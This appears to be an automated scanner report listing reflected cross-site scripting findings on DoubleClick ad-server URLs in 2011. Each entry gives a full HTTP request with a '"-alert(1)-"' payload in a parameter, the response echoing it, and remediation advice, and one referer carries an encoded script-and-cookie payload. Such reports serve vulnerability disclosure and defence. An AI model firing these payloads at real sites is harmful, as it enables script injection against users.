GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=5866197ae1"-alert(1)-"d5a8c8b632&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:40 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9719
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... c%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=5866197ae1"-alert(1)-"d5a8c8b632&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl ...[SNIP]...
The value of the pubICode request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d1dd4"-alert(1)-"7f0ce352b24 was submitted in the pubICode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951d1dd4"-alert(1)-"7f0ce352b24&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:32:20 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9729
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... icles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951d1dd4"-alert(1)-"7f0ce352b24&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc ...[SNIP]...
The value of the sz request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload c8de9"-alert(1)-"949f2676f9f was submitted in the sz parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798c8de9"-alert(1)-"949f2676f9f&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:31:21 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9729
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798c8de9"-alert(1)-"949f2676f9f&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3 ...[SNIP]...
The value of the url request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d9b6a"-alert(1)-"cafab609dca was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N5506.150290.INVITEMEDIA/B5070033.24;sz=300x250;click=http://ad.thewheelof.com/clk?2,13%3Bcc4f2de67b5e0116%3B12de6efc24a,0%3B%3B%3B2600164045,NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAASsLv5i0BAAAAAAAAADA3YjRmN2Q0LTJlZGYtMTFlMC1iNGRlLTAwMzA0OGQ2Y2ZhZQAzmSoAAAA=,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,$http://t.invitemedia.com/track_click?auctionID=12966596281452839-87798&campID=67677&crID=87798&pubICode=1502951&pub=58661&partnerID=219&url=http%3A%2F%2Fad%2Edoubleclick%2Enet%2Fadi%2Fdmd%2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3Fd9b6a"-alert(1)-"cafab609dca&redirectURL=;ord=1296659628? HTTP/1.1 Host: ad-emea.doubleclick.net Proxy-Connection: keep-alive Referer: http://ad.yieldmanager.com/iframe3?NwQAACcrFgBXtHwAAAAAABTRHwAAAAAAAgAIAAIAAAAAAP8AAAAECgB3HgAAAAAA5-4WAAAAAAD44ykAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC5PQ4AAAAAAAIAAwAAAAAAAIAka89F1z8AAIj9nBzbPwCAJGvPRdc.AACI.Zwc2z-ejamSGMLYPwAAcJCh19w.AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAlOcB7KlmSCbftrzIXCBE9jVq9wOUizpEl4mSqAAAAAA==,,http%3A%2F%2Fad.doubleclick.net%2Fadi%2Fdmd.ehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3F,Z%3D300x250%26click%3Dhttp%253a%252f%252fad.doubleclick.net%252fclick%253Bh%253Dv8%252f3aa2%252f3%252f0%252f%252a%252fv%253B228957569%253B0%252d0%253B0%253B45421603%253B4307%252d300%252f250%253B38375088%252f38392845%252f1%253B%253B%257Eaopt%253D2%252f0%252f36%252f0%253B%257Esscs%253D%253f%26e%3D58661%26S%3D%26I%3Dcomputers%26_salt%3D791003084%26B%3D10%26r%3D0,07b4f7d4-2edf-11e0-b4de-003048d6cfae Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 15:33:18 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 9723
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Copyright 2008 DoubleClick, a division of Google Inc. All rights reserve ...[SNIP]... 2Eehow%2Fcomputers%3Bcat%3Dcomputersoftware%3Bscat%3D%3Bsscat%3D%3Bart%3D%3Bqg%3D%3Btc%3D%3Bvid%3D0%3Bctype%3Darticles%3Bugc%3D0%3Blvl%3D1%3Brsi%3D%3Btile%3D3%3Bsz%3D300x250%3Bord%3D4760230283606905%3Fd9b6a"-alert(1)-"cafab609dca&redirectURL=http%3a%2f%2flp2.turbotax.com/ty10/bn/geo_tx%3Fcid%3Dbn_im_nf_anb_opgeotxT_txG_pk_300x250%26priorityCode%3D4654800000"); var fscUrl = url; var fscUrlClickTagFound = false; var wmode = " ...[SNIP]...
The value of the adurl request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 15c43"-alert(1)-"cd748a8fe0a was submitted in the adurl parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=15c43"-alert(1)-"cd748a8fe0a HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Content-Length: 4961 Cache-Control: no-cache Pragma: no-cache Date: Wed, 02 Feb 2011 20:27:49 GMT Expires: Wed, 02 Feb 2011 20:27:49 GMT
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=15c43"-alert(1)-"cd748a8fe0ahttp://degrees.classesusa.com/schools/?sourceid=50545246-232704189-39897819"); var wmode = "opaque"; var bg = ""; var dcallowscriptaccess = "never"; var openWindow = "false"; var winW = 300; var winH = ...[SNIP]...
The value of the ai request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 138f5"-alert(1)-"eada4e3efbc was submitted in the ai parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /adi/N3285.google/B2343920.91;sz=300x250;click=http://googleads.g.doubleclick.net/aclk?sa=l&ai=BoYz9ublJTdS3OKHLsQer86zYB5PMjd0Bs7-ixBjbjrqKUYCXIhABGAEgpPSYAzgAULbI36sHYMm-somQpNARoAGZjZzuA7IBD2JvYXJkcmVhZGVyLmNvbboBCjMwMHgyNTBfYXPIAQnaAXZodHRwOi8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA138f5"-alert(1)-"eada4e3efbc&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=;ord=699026599? HTTP/1.1 Host: ad.doubleclick.net Proxy-Connection: keep-alive Referer: http://googleads.g.doubleclick.net/pagead/ads?client=ca-pub-4537085524273794&format=300x250_as&output=html&h=250&w=300&lmt=1296698959&channel=3510583841&ad_type=text_image&alternate_ad_url=http%3A%2F%2Fboardreader.com%2Faffiliate%2Fgagbanner.html%3Fsize%3Dside%26rand%3D6382924&color_bg=FFFFFF&color_border=FFFFFF&color_link=105cb6&color_text=333333&color_url=4F7500&flash=10.1.103&url=http%3A%2F%2Fboardreader.com%2Fdomain%2F2mdn.net%2Fx22%3Febef7%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E6f696982a6d%3D1&dt=1296677358999&shv=r20101117&jsv=r20110120&saldr=1&prev_fmts=468x60_as&correlator=1296677358676&frm=0&adk=3794557511&ga_vid=1197951510.1296677341&ga_sid=1296677341&ga_hid=700497370&ga_fc=1&u_tz=-360&u_his=3&u_java=1&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&biw=1020&bih=969&fu=0&ifi=2&dtd=24&xpc=gTmsrpKGsX&p=http%3A//boardreader.com Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: id=c653243310000d9||t=1294099968|et=730|cs=gfdmbifc
Response
HTTP/1.1 200 OK Server: DCLK-AdSvr Content-Type: text/html Date: Wed, 02 Feb 2011 20:26:52 GMT Cache-Control: private, x-gzip-ok="" Content-Length: 4981
<html><head><title>Advertisement</title></head><body bgcolor=#ffffff marginwidth=0 marginheight=0 leftmargin=0 topmargin=0><!-- Template Id = 2593 Template Name = Banner Creative (Flash) - In Page -- ...[SNIP]... i8vd3d3LmJvYXJkcmVhZGVyLmNvbS9kb21haW4vMm1kbi5uZXQveDIyP2ViZWY3JTIyJTNFJTNDc2NyaXB0JTNFYWxlcnQoZG9jdW1lbnQuY29va2llKSUzQy9zY3JpcHQlM0U2ZjY5Njk4MmE2ZD0x4AEC-AEBuAIYwAIByALrprsMqAMB0QMIYrQRpruKOfUDAAAAxA138f5"-alert(1)-"eada4e3efbc&num=1&sig=AGiWqtyV_xNTt-YUFvVaZyar10BDgj8P2w&client=ca-pub-4537085524273794&adurl=http%3a%2f%2fdegrees.classesusa.com/schools/%3Fsourceid%3D50545246-232704189-39897819"); var wmode = "opaque"; var bg ...[SNIP]...
The value of the client request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 66758"-alert(1)-"219072ecf8b was submitted in the client parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
